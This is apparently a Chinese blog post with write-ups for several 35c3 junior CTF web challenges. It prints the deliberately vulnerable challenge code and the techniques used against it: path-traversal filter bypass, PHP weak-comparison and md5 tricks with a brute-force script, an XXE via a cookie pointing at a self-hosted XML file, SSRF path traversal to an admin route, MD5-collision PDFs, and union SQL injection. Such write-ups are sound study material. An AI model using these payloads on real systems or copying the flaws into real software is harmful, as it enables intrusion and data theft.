美文网首页
[35c3 junior] 部分web wp

[35c3 junior] 部分web wp

作者: ckj123 | 来源:发表于2019-01-01 11:00 被阅读88次

    本文首发在安恒的公众号:https://mp.weixin.qq.com/s/v6R3FwXhVal_jTkiMYijWw

    35c3 junior 部分web wp

    要期末考试了没咋做。。
    然后回家了发现充电器没带。。就只做了这么点。

    flags

    进入题目

    <?php
      highlight_file(__FILE__);
      $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
      $lang = explode(',', $lang)[0];
      $lang = str_replace('../', '', $lang);
      $c = file_get_contents("flags/$lang");
      if (!$c) $c = file_get_contents("flags/ot");
      echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
    

    很简单双写绕过一下就好了

    image

    可以看到图片的base64
    解码一下


    image

    签到题

    凯撒加密跑一下就有了


    image

    McDonald

    访问之后可以在robots.txt发现有


    image

    将.DS_Store里面的东西下载下来


    -w461
    可以看到有个flag.txt
    访问一下
    -w456

    logged in

    在登录的时候可以抓到一个包


    image

    包里面有登录的验证吗


    -w1066

    在登录之后能在cookie里面找到自己的flag
    (找了挺久)

    saltfish

    <?php
      require_once('flag.php');
      if ($_ = @$_GET['pass']) {
        $ua = $_SERVER['HTTP_USER_AGENT'];
        if (md5($_) + $_[0] == md5($ua)) {
          if ($_[0] == md5($_[0] . $flag)[0]) {
            echo $flag;
          }
        }
      } else {
        highlight_file(__FILE__);
      }
    

    一眼就看到两个弱等于
    而且$和$ua都是可控的先过第一条
    md5($_) + $_[0] == md5($ua)
    因为$_是个数组所以md5($_)是null获得的值其实是$
    [0]
    不过flag的值是不知道的最后
    $_[0] == md5($_[0] . $flag)[0]只能靠暴力破解了

    import requests
    
    url = "http://35.207.89.211/?pass[]=0e"
    
    headers = {
        'Host': '35.207.89.211',
        'User-Agent': 'QNKCDZO',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'Origin': 'www.ckj123.com'
    }
    
    for i in xrange(100):
        html = requests.get(url+str(i))
        if '35c3' in html.content:
            break
    
    print html.text
    
    image

    怎么感觉我是非预期=。=

    blind

    源码2333我喜欢

    <?php
      function __autoload($cls) {
        include $cls;
      }
    
      class Black {
        public function __construct($string, $default, $keyword, $store) {
          if ($string) ini_set("highlight.string", "#0d0d0d");
          if ($default) ini_set("highlight.default", "#0d0d0d");
          if ($keyword) ini_set("highlight.keyword", "#0d0d0d");
    
          if ($store) {
                setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
          }
        }
      }
    
      class Green {
        public function __construct($string, $default, $keyword, $store) {
          if ($string) ini_set("highlight.string", "#00fb00");
          if ($default) ini_set("highlight.default", "#00fb00");
          if ($keyword) ini_set("highlight.keyword", "#00fb00");
    
          if ($store) {
                setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
          }
        }
      }
    
      if ($_=@$_GET['theme']) {
        if (in_array($_, ["Black", "Green"])) {
          if (@class_exists($_)) {
            ($string = @$_GET['string']) || $string = false;
            ($default = @$_GET['default']) || $default = false;
            ($keyword = @$_GET['keyword']) || $keyword = false;
    
            new $_($string, $default, $keyword, @$_GET['store']);
          }
        }
      } else if ($_=@$_COOKIE['theme']) {
        $args = explode('-', $_);
        if (class_exists($args[0])) {
          new $args[0]($args[1], $args[2], $args[3], '');
        }
      } else if ($_=@$_GET['info']) {
        phpinfo();
      }
    
      highlight_file(__FILE__);
    

    问了下辉神
    辉神给了我一个函数SimpleXMlElement

    image
    让他的data is url 为true允许加载url的xml
    很明显是XXE
    在自己服务器上写一个xml
    cookie是这个就可以了theme=SimpleXMlElement-http://服务器路径/1.xml-2-true
    差不多的
    https://mochazz.github.io/2018/07/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day3%20-%20%E5%AE%9E%E4%BE%8B%E5%8C%96%E4%BB%BB%E6%84%8F%E5%AF%B9%E8%B1%A1%E6%BC%8F%E6%B4%9E/

    Not(e) accessible

    入手发现只有两个功能看自己的文章和写文章

    然后id和pw都是随机数
    想着应该有源码泄露


    image

    果然在页面里面找到了之后拿到源码

    <?php
        require_once "config.php";
    
        if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {
            $note = $_POST['note'];
    
            if(strlen($note) > 1000) {
                die("ERROR! - Text too long");
            }
    
            if(!preg_match("/^[a-zA-Z]+$/", $note)) {
                die("ERROR! - Text does not match /^[a-zA-Z]+$/");
            }
    
            $id = random_int(PHP_INT_MIN, PHP_INT_MAX);
            $pw = md5($note);
            
            # Save password so that we can check it later
            file_put_contents("./pws/$id.pw", $pw); 
    
            file_get_contents($BACKEND . "store/" . $id . "/" . $note);
    
            echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';
                echo "<p>Your note ID is $id<br>";
                echo "Your note PW is $pw</p>";
    
                echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";
            echo '</div>';
        }
    ?>
    
    <?php header("Content-Type: text/plain"); ?>
    <?php 
        require_once "config.php";
        if(isset($_GET['id']) && isset($_GET['pw'])) {
            $id = $_GET['id'];
            if(file_exists("./pws/" . (int) $id . ".pw")) {
                if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
                    echo file_get_contents($BACKEND . "get/" . $id);
                } else {
                    die("ERROR!");
                }
            } else {
                die("ERROR!");
            }
        }
    ?>
    
    require 'sinatra'
    set :bind, '0.0.0.0'
    
    get '/get/:id' do
        File.read("./notes/#{params['id']}.note")
    end
    
    get '/store/:id/:note' do 
        File.write("./notes/#{params['id']}.note", params['note'])
        puts "OK"
    end 
    
    get '/admin' do
        File.read("flag.txt")
    end
    
    
    image

    /../../admin

    image

    collier

    还是没啥东西然后再看看源码
    果然给了源码


    image

    下载下来
    最主要的地方在这

    <?php
        include_once "config.php";
        if(isset($_POST['submit']))  {
                $pdf1 = $_FILES['pdf1']['tmp_name'];
                $pdf2 = $_FILES['pdf2']['tmp_name'];
    
                if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) {
                    die("The first pdf does not contain 'NO FLAG!'");
                }
    
                if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) {
                    die("The second pdf does not contain 'GIVE FLAG!'");
                }
    
                if(md5_file($pdf1) != md5_file($pdf2)) {
                    die("The MD5 hashes do not match!");
                }
    
                echo "$FLAG";
    
        }
    ?>
    
    image

    这个表示只能一行

    一直以为是弱等于的原因感谢smi1e师傅的指点~
    直接用https://github.com/cr-marcstevens/hashclash
    这个的工具就可以了=。=
    生成两个MD5一样的

    DB Serect

    英语不好吃亏呀=。=
    后来才知道这道题有源码,之前都不知道该怎么下手。。
    访问view-source:http://35.207.132.47/pyserver/server.py
    拿到源码

    可以看到很多地方都是问号拼接进去的,但是明显有个地方
    不是问号拼接进去的

    @app.route("/api/getprojectsadmin", methods=["POST"])
    def getprojectsadmin():
        # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
        # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
        name = request.cookies["name"]
        token = request.cookies["token"]
        user, username, email, usertype = user_by_token(token)
    
        json = request.get_json(force=True)
        offset = json["offset"]
        sorting = json["sorting"]
    
        if name != "admin":
            raise Exception("InvalidUserName")
    
        sortings = {
            "newest": "created DESC",
            "oldest": "created ASC",
            "lastmodified": "lastModified DESC"
        }
        sql_sorting = sortings[sorting]
    
        if not offset:
            offset = datetime.datetime.now()
    
        return jsonify_projects(query_db(
            "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
            "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")
    

    首先登陆admin


    image

    构造一个这样的json


    image
    找一找自己要注入的数据放在那里
    -w909

    可以看到他在secrets表的secret字段里面


    -w343
    就是一个很简单的union注入
    image

    相关文章

      网友评论

          本文标题:[35c3 junior] 部分web wp

          本文链接:https://www.haomeiwen.com/subject/uqhnlqtx.html